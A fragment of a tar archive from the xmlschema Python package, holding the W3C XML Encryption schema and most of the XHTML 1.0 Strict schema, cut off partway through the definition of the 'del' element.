��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XENC/xenc-schema.xsd����������������������������������������������0000664�0000000�0000000�00000015015�15020401055�0022543�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Fallback schema for http://www.w3.org/2001/04/xmlenc# namespace: - DTD commented out for processing the schema with the safe parser - Import of http://www.w3.org/2000/09/xmldsig# namespace redirected --> <!-- # # Copyright ©[2011] World Wide Web Consortium # (Massachusetts Institute of Technology, # European Research Consortium for Informatics and Mathematics, # Keio University). All Rights Reserved. # This work is distributed under the W3C® Software License [1] in the # hope that it will be useful, but WITHOUT ANY WARRANTY; without even # the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR # PURPOSE. # [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 # --> <!-- <!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "http://www.w3.org/2001/XMLSchema.dtd" [ <!ATTLIST schema xmlns:xenc CDATA #FIXED 'http://www.w3.org/2001/04/xmlenc#' xmlns:ds CDATA #FIXED 'http://www.w3.org/2000/09/xmldsig#'> <!ENTITY xenc 'http://www.w3.org/2001/04/xmlenc#'> <!ENTITY % p ''> <!ENTITY % s ''> ]> --> <schema xmlns='http://www.w3.org/2001/XMLSchema' version='1.0' xmlns:xenc='http://www.w3.org/2001/04/xmlenc#' xmlns:ds='http://www.w3.org/2000/09/xmldsig#' targetNamespace='http://www.w3.org/2001/04/xmlenc#' elementFormDefault='qualified'> <import namespace='http://www.w3.org/2000/09/xmldsig#' schemaLocation='../DSIG/xmldsig-core-schema.xsd'/> <complexType name='EncryptedType' abstract='true'> <sequence> <element name='EncryptionMethod' type='xenc:EncryptionMethodType' minOccurs='0'/> <element ref='ds:KeyInfo' minOccurs='0'/> <element ref='xenc:CipherData'/> <element ref='xenc:EncryptionProperties' minOccurs='0'/> </sequence> <attribute name='Id' type='ID' use='optional'/> <attribute name='Type' type='anyURI' use='optional'/> <attribute name='MimeType' type='string' use='optional'/> <attribute name='Encoding' type='anyURI' use='optional'/> </complexType> <complexType name='EncryptionMethodType' mixed='true'> <sequence> <element name='KeySize' minOccurs='0' type='xenc:KeySizeType'/> <element name='OAEPparams' minOccurs='0' type='base64Binary'/> <!-- note that optional xenc11:MGF element may be used here for RSA-OAEP, when appropriate --> <any namespace='##other' minOccurs='0' maxOccurs='unbounded'/> </sequence> <attribute name='Algorithm' type='anyURI' use='required'/> </complexType> <simpleType name='KeySizeType'> <restriction base="integer"/> </simpleType> <element name='CipherData' type='xenc:CipherDataType'/> <complexType name='CipherDataType'> <choice> <element name='CipherValue' type='base64Binary'/> <element ref='xenc:CipherReference'/> </choice> </complexType> <element name='CipherReference' type='xenc:CipherReferenceType'/> <complexType name='CipherReferenceType'> <choice> <element name='Transforms' type='xenc:TransformsType' minOccurs='0'/> </choice> <attribute name='URI' type='anyURI' use='required'/> </complexType> <complexType name='TransformsType'> <sequence> <element ref='ds:Transform' maxOccurs='unbounded'/> </sequence> </complexType> <element name='EncryptedData' type='xenc:EncryptedDataType'/> <complexType name='EncryptedDataType'> <complexContent> <extension base='xenc:EncryptedType'> </extension> </complexContent> </complexType> <!-- Children of ds:KeyInfo --> <element name='EncryptedKey' type='xenc:EncryptedKeyType'/> <complexType name='EncryptedKeyType'> <complexContent> <extension base='xenc:EncryptedType'> <sequence> <element ref='xenc:ReferenceList' minOccurs='0'/> <element name='CarriedKeyName' type='string' minOccurs='0'/> </sequence> <attribute name='Recipient' type='string' use='optional'/> </extension> </complexContent> </complexType> <element name="AgreementMethod" type="xenc:AgreementMethodType"/> <complexType name="AgreementMethodType" mixed="true"> <sequence> <element name="KA-Nonce" minOccurs="0" type="base64Binary"/> <!-- <element ref="ds:DigestMethod" minOccurs="0"/> --> <any namespace="##other" minOccurs="0" maxOccurs="unbounded"/> <element name="OriginatorKeyInfo" minOccurs="0" type="ds:KeyInfoType"/> <element name="RecipientKeyInfo" minOccurs="0" type="ds:KeyInfoType"/> </sequence> <attribute name="Algorithm" type="anyURI" use="required"/> </complexType> <!-- End Children of ds:KeyInfo --> <element name='ReferenceList'> <complexType> <choice minOccurs='1' maxOccurs='unbounded'> <element name='DataReference' type='xenc:ReferenceType'/> <element name='KeyReference' type='xenc:ReferenceType'/> </choice> </complexType> </element> <complexType name='ReferenceType'> <sequence> <any namespace='##other' minOccurs='0' maxOccurs='unbounded'/> </sequence> <attribute name='URI' type='anyURI' use='required'/> </complexType> <element name='EncryptionProperties' type='xenc:EncryptionPropertiesType'/> <complexType name='EncryptionPropertiesType'> <sequence> <element ref='xenc:EncryptionProperty' maxOccurs='unbounded'/> </sequence> <attribute name='Id' type='ID' use='optional'/> </complexType> <element name='EncryptionProperty' type='xenc:EncryptionPropertyType'/> <complexType name='EncryptionPropertyType' mixed='true'> <choice maxOccurs='unbounded'> <any namespace='##other' processContents='lax'/> </choice> <attribute name='Target' type='anyURI' use='optional'/> <attribute name='Id' type='ID' use='optional'/> <anyAttribute namespace="http://www.w3.org/XML/1998/namespace"/> </complexType> <!-- Children of ds:KeyValue --> <element name="DHKeyValue" type="xenc:DHKeyValueType"/> <complexType name="DHKeyValueType"> <sequence> <sequence minOccurs="0"> <element name="P" type="ds:CryptoBinary"/> <element name="Q" type="ds:CryptoBinary"/> <element name="Generator" type="ds:CryptoBinary"/> </sequence> <element name="Public" type="ds:CryptoBinary"/> <sequence minOccurs="0"> <element name="seed" type="ds:CryptoBinary"/> <element name="pgenCounter" type="ds:CryptoBinary"/> </sequence> </sequence> </complexType> <!-- End Children of ds:KeyValue --> </schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XHTML/������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017765�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XHTML/xhtml1-strict.xsd�������������������������������������������0000664�0000000�0000000�00000177705�15020401055�0023251�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema version="1.0" xml:lang="en" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/1999/xhtml" xmlns="http://www.w3.org/1999/xhtml" xmlns:xml="http://www.w3.org/XML/1998/namespace" elementFormDefault="qualified"> <xs:annotation> <xs:documentation> XHTML 1.0 (Second Edition) Strict in XML Schema This is the same as HTML 4 Strict except for changes due to the differences between XML and SGML. Namespace = http://www.w3.org/1999/xhtml For further information, see: http://www.w3.org/TR/xhtml1 Copyright (c) 1998-2002 W3C (MIT, INRIA, Keio), All Rights Reserved. The DTD version is identified by the PUBLIC and SYSTEM identifiers: PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" $Id: xhtml1-strict.xsd,v 1.2 2002/08/28 08:05:44 mimasa Exp $ </xs:documentation> </xs:annotation> <xs:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"/> <xs:annotation> <xs:documentation> ================ Character mnemonic entities ========================= XHTML entity sets are identified by the PUBLIC and SYSTEM identifiers: PUBLIC "-//W3C//ENTITIES Latin 1 for XHTML//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml-lat1.ent" PUBLIC "-//W3C//ENTITIES Special for XHTML//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml-special.ent" PUBLIC "-//W3C//ENTITIES Symbols for XHTML//EN" SYSTEM "http://www.w3.org/TR/xhtml1/DTD/xhtml-symbol.ent" </xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation> ================== Imported Names ==================================== </xs:documentation> </xs:annotation> <xs:simpleType name="ContentType"> <xs:annotation> <xs:documentation> media type, as per [RFC2045] </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="ContentTypes"> <xs:annotation> <xs:documentation> comma-separated list of media types, as per [RFC2045] </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="Charset"> <xs:annotation> <xs:documentation> a character encoding, as per [RFC2045] </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="Charsets"> <xs:annotation> <xs:documentation> a space separated list of character encodings, as per [RFC2045] </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="LanguageCode"> <xs:annotation> <xs:documentation> a language code, as per [RFC3066] </xs:documentation> </xs:annotation> <xs:restriction base="xs:language"/> </xs:simpleType> <xs:simpleType name="Character"> <xs:annotation> <xs:documentation> a single character, as per section 2.2 of [XML] </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"> <xs:length value="1" fixed="true"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="Number"> <xs:annotation> <xs:documentation> one or more digits </xs:documentation> </xs:annotation> <xs:restriction base="xs:nonNegativeInteger"> <xs:pattern value="[0-9]+"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="tabindexNumber"> <xs:annotation> <xs:documentation> tabindex attribute specifies the position of the current element in the tabbing order for the current document. This value must be a number between 0 and 32767. User agents should ignore leading zeros. </xs:documentation> </xs:annotation> <xs:restriction base="Number"> <xs:minInclusive value="0"/> <xs:maxInclusive value="32767"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="LinkTypes"> <xs:annotation> <xs:documentation> space-separated list of link types </xs:documentation> </xs:annotation> <xs:restriction base="xs:NMTOKENS"/> </xs:simpleType> <xs:simpleType name="MediaDesc"> <xs:annotation> <xs:documentation> single or comma-separated list of media descriptors </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"> <xs:pattern value="[^,]+(,\s*[^,]+)*"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="URI"> <xs:annotation> <xs:documentation> a Uniform Resource Identifier, see [RFC2396] </xs:documentation> </xs:annotation> <xs:restriction base="xs:anyURI"/> </xs:simpleType> <xs:simpleType name="UriList"> <xs:annotation> <xs:documentation> a space separated list of Uniform Resource Identifiers </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="Datetime"> <xs:annotation> <xs:documentation> date and time information. ISO date format </xs:documentation> </xs:annotation> <xs:restriction base="xs:dateTime"/> </xs:simpleType> <xs:simpleType name="Script"> <xs:annotation> <xs:documentation> script expression </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="StyleSheet"> <xs:annotation> <xs:documentation> style sheet data </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="Text"> <xs:annotation> <xs:documentation> used for titles etc. </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:simpleType name="Length"> <xs:annotation> <xs:documentation> nn for pixels or nn% for percentage length </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"> <xs:pattern value="[-+]?(\d+|\d+(\.\d+)?%)"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="MultiLength"> <xs:annotation> <xs:documentation> pixel, percentage, or relative </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"> <xs:pattern value="[-+]?(\d+|\d+(\.\d+)?%)|[1-9]?(\d+)?\*"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="Pixels"> <xs:annotation> <xs:documentation> integer representing length in pixels </xs:documentation> </xs:annotation> <xs:restriction base="xs:nonNegativeInteger"/> </xs:simpleType> <xs:annotation> <xs:documentation> these are used for image maps </xs:documentation> </xs:annotation> <xs:simpleType name="Shape"> <xs:restriction base="xs:token"> <xs:enumeration value="rect"/> <xs:enumeration value="circle"/> <xs:enumeration value="poly"/> <xs:enumeration value="default"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="Coords"> <xs:annotation> <xs:documentation> comma separated list of lengths </xs:documentation> </xs:annotation> <xs:restriction base="xs:string"> <xs:pattern value="[-+]?(\d+|\d+(\.\d+)?%)(,\s*[-+]?(\d+|\d+(\.\d+)?%))*"/> </xs:restriction> </xs:simpleType> <xs:annotation> <xs:documentation> =================== Generic Attributes =============================== </xs:documentation> </xs:annotation> <xs:attributeGroup name="coreattrs"> <xs:annotation> <xs:documentation> core attributes common to most elements id document-wide unique id class space separated list of classes style associated style info title advisory title/amplification </xs:documentation> </xs:annotation> <xs:attribute name="id" type="xs:ID"/> <xs:attribute name="class" type="xs:NMTOKENS"/> <xs:attribute name="style" type="StyleSheet"/> <xs:attribute name="title" type="Text"/> </xs:attributeGroup> <xs:attributeGroup name="i18n"> <xs:annotation> <xs:documentation> internationalization attributes lang language code (backwards compatible) xml:lang language code (as per XML 1.0 spec) dir direction for weak/neutral text </xs:documentation> </xs:annotation> <xs:attribute name="lang" type="LanguageCode"/> <xs:attribute ref="xml:lang"/> <xs:attribute name="dir"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="ltr"/> <xs:enumeration value="rtl"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:attributeGroup> <xs:attributeGroup name="events"> <xs:annotation> <xs:documentation> attributes for common UI events onclick a pointer button was clicked ondblclick a pointer button was double clicked onmousedown a pointer button was pressed down onmouseup a pointer button was released onmousemove a pointer was moved onto the element onmouseout a pointer was moved away from the element onkeypress a key was pressed and released onkeydown a key was pressed down onkeyup a key was released </xs:documentation> </xs:annotation> <xs:attribute name="onclick" type="Script"/> <xs:attribute name="ondblclick" type="Script"/> <xs:attribute name="onmousedown" type="Script"/> <xs:attribute name="onmouseup" type="Script"/> <xs:attribute name="onmouseover" type="Script"/> <xs:attribute name="onmousemove" type="Script"/> <xs:attribute name="onmouseout" type="Script"/> <xs:attribute name="onkeypress" type="Script"/> <xs:attribute name="onkeydown" type="Script"/> <xs:attribute name="onkeyup" type="Script"/> </xs:attributeGroup> <xs:attributeGroup name="focus"> <xs:annotation> <xs:documentation> attributes for elements that can get the focus accesskey accessibility key character tabindex position in tabbing order onfocus the element got the focus onblur the element lost the focus </xs:documentation> </xs:annotation> <xs:attribute name="accesskey" type="Character"/> <xs:attribute name="tabindex" type="tabindexNumber"/> <xs:attribute name="onfocus" type="Script"/> <xs:attribute name="onblur" type="Script"/> </xs:attributeGroup> <xs:attributeGroup name="attrs"> <xs:attributeGroup ref="coreattrs"/> <xs:attributeGroup ref="i18n"/> <xs:attributeGroup ref="events"/> </xs:attributeGroup> <xs:annotation> <xs:documentation> =================== Text Elements ==================================== </xs:documentation> </xs:annotation> <xs:group name="special.pre"> <xs:choice> <xs:element ref="br"/> <xs:element ref="span"/> <xs:element ref="bdo"/> <xs:element ref="map"/> </xs:choice> </xs:group> <xs:group name="special"> <xs:choice> <xs:group ref="special.pre"/> <xs:element ref="object"/> <xs:element ref="img"/> </xs:choice> </xs:group> <xs:group name="fontstyle"> <xs:choice> <xs:element ref="tt"/> <xs:element ref="i"/> <xs:element ref="b"/> <xs:element ref="big"/> <xs:element ref="small"/> </xs:choice> </xs:group> <xs:group name="phrase"> <xs:choice> <xs:element ref="em"/> <xs:element ref="strong"/> <xs:element ref="dfn"/> <xs:element ref="code"/> <xs:element ref="q"/> <xs:element ref="samp"/> <xs:element ref="kbd"/> <xs:element ref="var"/> <xs:element ref="cite"/> <xs:element ref="abbr"/> <xs:element ref="acronym"/> <xs:element ref="sub"/> <xs:element ref="sup"/> </xs:choice> </xs:group> <xs:group name="inline.forms"> <xs:choice> <xs:element ref="input"/> <xs:element ref="select"/> <xs:element ref="textarea"/> <xs:element ref="label"/> <xs:element ref="button"/> </xs:choice> </xs:group> <xs:group name="misc.inline"> <xs:choice> <xs:element ref="ins"/> <xs:element ref="del"/> <xs:element ref="script"/> </xs:choice> </xs:group> <xs:group name="misc"> <xs:annotation> <xs:documentation> these can only occur at block level </xs:documentation> </xs:annotation> <xs:choice> <xs:element ref="noscript"/> <xs:group ref="misc.inline"/> </xs:choice> </xs:group> <xs:group name="inline"> <xs:choice> <xs:element ref="a"/> <xs:group ref="special"/> <xs:group ref="fontstyle"/> <xs:group ref="phrase"/> <xs:group ref="inline.forms"/> </xs:choice> </xs:group> <xs:complexType name="Inline" mixed="true"> <xs:annotation> <xs:documentation> "Inline" covers inline or "text-level" elements </xs:documentation> </xs:annotation> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:group ref="inline"/> <xs:group ref="misc.inline"/> </xs:choice> </xs:complexType> <xs:annotation> <xs:documentation> ================== Block level elements ============================== </xs:documentation> </xs:annotation> <xs:group name="heading"> <xs:choice> <xs:element ref="h1"/> <xs:element ref="h2"/> <xs:element ref="h3"/> <xs:element ref="h4"/> <xs:element ref="h5"/> <xs:element ref="h6"/> </xs:choice> </xs:group> <xs:group name="lists"> <xs:choice> <xs:element ref="ul"/> <xs:element ref="ol"/> <xs:element ref="dl"/> </xs:choice> </xs:group> <xs:group name="blocktext"> <xs:choice> <xs:element ref="pre"/> <xs:element ref="hr"/> <xs:element ref="blockquote"/> <xs:element ref="address"/> </xs:choice> </xs:group> <xs:group name="block"> <xs:choice> <xs:element ref="p"/> <xs:group ref="heading"/> <xs:element ref="div"/> <xs:group ref="lists"/> <xs:group ref="blocktext"/> <xs:element ref="fieldset"/> <xs:element ref="table"/> </xs:choice> </xs:group> <xs:complexType name="Block"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:group ref="block"/> <xs:element ref="form"/> <xs:group ref="misc"/> </xs:choice> </xs:complexType> <xs:complexType name="Flow" mixed="true"> <xs:annotation> <xs:documentation> "Flow" mixes block and inline and is used for list items etc. </xs:documentation> </xs:annotation> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:group ref="block"/> <xs:element ref="form"/> <xs:group ref="inline"/> <xs:group ref="misc"/> </xs:choice> </xs:complexType> <xs:annotation> <xs:documentation> ================== Content models for exclusions ===================== </xs:documentation> </xs:annotation> <xs:complexType name="a.content" mixed="true"> <xs:annotation> <xs:documentation> a elements use "Inline" excluding a </xs:documentation> </xs:annotation> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:group ref="special"/> <xs:group ref="fontstyle"/> <xs:group ref="phrase"/> <xs:group ref="inline.forms"/> <xs:group ref="misc.inline"/> </xs:choice> </xs:complexType> <xs:complexType name="pre.content" mixed="true"> <xs:annotation> <xs:documentation> pre uses "Inline" excluding big, small, sup or sup </xs:documentation> </xs:annotation> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="a"/> <xs:group ref="fontstyle"/> <xs:group ref="phrase"/> <xs:group ref="special.pre"/> <xs:group ref="misc.inline"/> <xs:group ref="inline.forms"/> </xs:choice> </xs:complexType> <xs:complexType name="form.content"> <xs:annotation> <xs:documentation> form uses "Block" excluding form </xs:documentation> </xs:annotation> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:group ref="block"/> <xs:group ref="misc"/> </xs:choice> </xs:complexType> <xs:complexType name="button.content" mixed="true"> <xs:annotation> <xs:documentation> button uses "Flow" but excludes a, form and form controls </xs:documentation> </xs:annotation> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="p"/> <xs:group ref="heading"/> <xs:element ref="div"/> <xs:group ref="lists"/> <xs:group ref="blocktext"/> <xs:element ref="table"/> <xs:group ref="special"/> <xs:group ref="fontstyle"/> <xs:group ref="phrase"/> <xs:group ref="misc"/> </xs:choice> </xs:complexType> <xs:annotation> <xs:documentation> ================ Document Structure ================================== </xs:documentation> </xs:annotation> <xs:element name="html"> <xs:complexType> <xs:sequence> <xs:element ref="head"/> <xs:element ref="body"/> </xs:sequence> <xs:attributeGroup ref="i18n"/> <xs:attribute name="id" type="xs:ID"/> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ================ Document Head ======================================= </xs:documentation> </xs:annotation> <xs:group name="head.misc"> <xs:sequence> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="script"/> <xs:element ref="style"/> <xs:element ref="meta"/> <xs:element ref="link"/> <xs:element ref="object"/> </xs:choice> </xs:sequence> </xs:group> <xs:element name="head"> <xs:annotation> <xs:documentation> content model is "head.misc" combined with a single title and an optional base element in any order </xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:group ref="head.misc"/> <xs:choice> <xs:sequence> <xs:element ref="title"/> <xs:group ref="head.misc"/> <xs:sequence minOccurs="0"> <xs:element ref="base"/> <xs:group ref="head.misc"/> </xs:sequence> </xs:sequence> <xs:sequence> <xs:element ref="base"/> <xs:group ref="head.misc"/> <xs:element ref="title"/> <xs:group ref="head.misc"/> </xs:sequence> </xs:choice> </xs:sequence> <xs:attributeGroup ref="i18n"/> <xs:attribute name="id" type="xs:ID"/> <xs:attribute name="profile" type="URI"/> </xs:complexType> </xs:element> <xs:element name="title"> <xs:annotation> <xs:documentation> The title element is not considered part of the flow of text. It should be displayed, for example as the page header or window title. Exactly one title is required per document. </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:attributeGroup ref="i18n"/> <xs:attribute name="id" type="xs:ID"/> </xs:complexType> </xs:element> <xs:element name="base"> <xs:annotation> <xs:documentation> document base URI </xs:documentation> </xs:annotation> <xs:complexType> <xs:attribute name="href" use="required" type="URI"/> <xs:attribute name="id" type="xs:ID"/> </xs:complexType> </xs:element> <xs:element name="meta"> <xs:annotation> <xs:documentation> generic metainformation </xs:documentation> </xs:annotation> <xs:complexType> <xs:attributeGroup ref="i18n"/> <xs:attribute name="id" type="xs:ID"/> <xs:attribute name="http-equiv"/> <xs:attribute name="name"/> <xs:attribute name="content" use="required"/> <xs:attribute name="scheme"/> </xs:complexType> </xs:element> <xs:element name="link"> <xs:annotation> <xs:documentation> Relationship values can be used in principle: a) for document specific toolbars/menus when used with the link element in document head e.g. start, contents, previous, next, index, end, help b) to link to a separate style sheet (rel="stylesheet") c) to make a link to a script (rel="script") d) by stylesheets to control how collections of html nodes are rendered into printed documents e) to make a link to a printable version of this document e.g. a PostScript or PDF version (rel="alternate" media="print") </xs:documentation> </xs:annotation> <xs:complexType> <xs:attributeGroup ref="attrs"/> <xs:attribute name="charset" type="Charset"/> <xs:attribute name="href" type="URI"/> <xs:attribute name="hreflang" type="LanguageCode"/> <xs:attribute name="type" type="ContentType"/> <xs:attribute name="rel" type="LinkTypes"/> <xs:attribute name="rev" type="LinkTypes"/> <xs:attribute name="media" type="MediaDesc"/> </xs:complexType> </xs:element> <xs:element name="style"> <xs:annotation> <xs:documentation> style info, which may include CDATA sections </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:attributeGroup ref="i18n"/> <xs:attribute name="id" type="xs:ID"/> <xs:attribute name="type" use="required" type="ContentType"/> <xs:attribute name="media" type="MediaDesc"/> <xs:attribute name="title" type="Text"/> <xs:attribute ref="xml:space" fixed="preserve"/> </xs:complexType> </xs:element> <xs:element name="script"> <xs:annotation> <xs:documentation> script statements, which may include CDATA sections </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:attribute name="id" type="xs:ID"/> <xs:attribute name="charset" type="Charset"/> <xs:attribute name="type" use="required" type="ContentType"/> <xs:attribute name="src" type="URI"/> <xs:attribute name="defer"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="defer"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute ref="xml:space" fixed="preserve"/> </xs:complexType> </xs:element> <xs:element name="noscript"> <xs:annotation> <xs:documentation> alternate content container for non script-based rendering </xs:documentation> </xs:annotation> <xs:complexType> <xs:complexContent> <xs:extension base="Block"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Document Body ==================================== </xs:documentation> </xs:annotation> <xs:element name="body"> <xs:complexType> <xs:complexContent> <xs:extension base="Block"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="onload" type="Script"/> <xs:attribute name="onunload" type="Script"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="div"> <xs:annotation> <xs:documentation> generic language/style container </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Paragraphs ======================================= </xs:documentation> </xs:annotation> <xs:element name="p"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Headings ========================================= There are six levels of headings from h1 (the most important) to h6 (the least important). </xs:documentation> </xs:annotation> <xs:element name="h1"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="h2"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="h3"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="h4"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="h5"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="h6"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Lists ============================================ </xs:documentation> </xs:annotation> <xs:element name="ul"> <xs:annotation> <xs:documentation> Unordered list </xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" ref="li"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> </xs:complexType> </xs:element> <xs:element name="ol"> <xs:annotation> <xs:documentation> Ordered (numbered) list </xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" ref="li"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> </xs:complexType> </xs:element> <xs:element name="li"> <xs:annotation> <xs:documentation> list item </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> definition lists - dt for term, dd for its definition </xs:documentation> </xs:annotation> <xs:element name="dl"> <xs:complexType> <xs:choice maxOccurs="unbounded"> <xs:element ref="dt"/> <xs:element ref="dd"/> </xs:choice> <xs:attributeGroup ref="attrs"/> </xs:complexType> </xs:element> <xs:element name="dt"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="dd"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Address ========================================== </xs:documentation> </xs:annotation> <xs:element name="address"> <xs:annotation> <xs:documentation> information on author </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Horizontal Rule ================================== </xs:documentation> </xs:annotation> <xs:element name="hr"> <xs:complexType> <xs:attributeGroup ref="attrs"/> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Preformatted Text ================================ </xs:documentation> </xs:annotation> <xs:element name="pre"> <xs:annotation> <xs:documentation> content is "Inline" excluding "img|object|big|small|sub|sup" </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="pre.content"> <xs:attributeGroup ref="attrs"/> <xs:attribute ref="xml:space" fixed="preserve"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Block-like Quotes ================================ </xs:documentation> </xs:annotation> <xs:element name="blockquote"> <xs:complexType> <xs:complexContent> <xs:extension base="Block"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="cite" type="URI"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Inserted/Deleted Text ============================ ins/del are allowed in block and inline content, but its inappropriate to include block content within an ins element occurring in inline content. </xs:documentation> </xs:annotation> <xs:element name="ins"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="cite" type="URI"/> <xs:attribute name="datetime" type="Datetime"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="del"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="cite" type="URI"/> <xs:attribute name="datetime" 